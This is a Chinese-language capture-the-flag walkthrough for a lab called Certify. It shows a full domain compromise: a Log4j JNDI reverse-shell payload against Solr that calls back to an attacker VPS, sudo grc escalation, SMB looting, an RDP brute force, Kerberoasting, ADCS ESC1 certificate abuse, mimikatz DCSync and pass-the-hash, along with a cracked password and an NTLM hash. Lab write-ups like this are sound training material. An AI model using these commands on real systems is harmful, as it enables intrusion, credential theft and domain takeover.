Jump to content

说明

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Solr、AD CS、SMB、Kerberos、域渗透

第一个flag

log4j RCE

扫描外网IP

qnhqhxj1oxs14351.png

发现solr存在log4j的组件,测试是否存在rce

o5v2lkwea3q14352.png
GET /solr/admin/cores?action=${jndi:ldap://1p9bvr.dnslog.cn} HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
xj0qvvofpso14353.png

dnslog回显

25mwli0u0bs14354.png

JNDI反弹shell,在VPS上开启

# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 47.103.xxx.xxx

#开启监听
nc -lvvp 5555
3rzpoqcqmta14355.png

payload

${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}

发送请求

GET /solr/admin/cores?action=${jndi:ldap://47.103.xxx.xxx:1389/Basic/ReverseShell/47.103.xxx.xxx/5555}&wt=json HTTP/1.1
Host: 47.92.113.194:8983
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://47.92.113.194:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close

成功反弹shell

gpirmronthy14356.png

sudo提权

sudo -l
ih2w2wcphz514357.png
sudo grc --help
fzim3lxne2b14358.png
sudo grc --pty whoami
ywdthyefh4x14359.png

查找flag

sudo grc --pty find / -name flag*
4mrr0xifh5g14360.png

输出flag

sudo grc --pty cat /root/flag/flag01.txt
0edm1r0ajdx14361.png

第二个flag

内网渗透

出口机器上代理,并扫描内网,具体就不赘述了(架设http服务,wget 下载npc和fscan)

172.22.9.13:445 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.26:139 open
172.22.9.47:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.13:139 open
172.22.9.13:135 open
172.22.9.7:135 open
172.22.9.26:80 open
172.22.9.47:80 open
172.22.9.19:80 open
172.22.9.47:22 open
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.19:8983 open
[+] NetInfo:
[*]172.22.9.13
   [->]CA01
   [->]172.22.9.13
[*] 172.22.9.7     [+]DC XIAORANG\XIAORANG-DC     
[*] 172.22.9.26          XIAORANG\DESKTOP-CBKTVMO   
[+] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[+] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] 172.22.9.13          XIAORANG\CA01            
[*] WebTitle:http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] 172.22.9.47          WORKGROUP\FILESERVER        Windows 6.1
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle:http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] WebTitle:http://172.22.9.26        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin

发现以下资产

172.22.9.19 入口IP
172.22.9.7  DC
172.22.9.26 域成员
172.22.9.47 文件服务器
172.22.9.13 CA

根据提示,文件服务器应该存在smb的共享,进一步收集信息

注意:fscan不扫描smb的共享模式,所以可以采用nmap来扫描

sudo grc --pty nmap -sT -A 172.22.9.47
qubhiazg34i14362.png

使用 smbclient 连接共享

proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
fspo1fn0pgr14363.png

获得falg02,还有一段提示 you have enumerated smb. But do you know what an SPN is?

rpyxqjooikx14365.png

第三个flag

数据库文件中有几个用户名和密码

rc4rzpac5r014367.png

rdp破解

proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
my2o1pbjptk14369.png

获得了两个账号,但是无法远程登录

Kerberoast攻击

使用GetUserSPNs.py寻找注册在域用户下的SPN

proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
2xb0qar0q3o14371.png

hash 离线破解,速度很快,1.txt 是hash值,rockyou.txt 是kali自带的密码本

hashcat64.exe -m 13100 1.txt rockyou.txt
oc4yuysmt4514373.png

得到zhangxia/MyPass2@@6,使用账号密码远程登录即可

注意,因为是域账号所以用户名为 zhangxia@xiaorang.lab,登录完成后并不能直接访问administrator的目录查找flag,因为不是管理员权限

wguadkgrfjk14375.png

ADCS ESC1

使用Certify.exe定位漏洞

Certify.exe find /vulnerable
adqk2me5s0514377.png

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
4cecjj4er5214379.png

转换格式

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

请求TGT、PTT

因为导出证书转换的时候并没有输入密码,所以这里密码留空就行

Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
dy2a3cyeip214382.png

获取到域管的票据后导出哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
u4jma2fa5n314384.png

哈希传递

PTH 172.22.9.26

proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
y5qpygc3fn214387.png

第四个flag

PTH DC

proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7
d5xxwkrmshw14390.png

原文链接: https://zhuanlan.zhihu.com/p/581487685

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...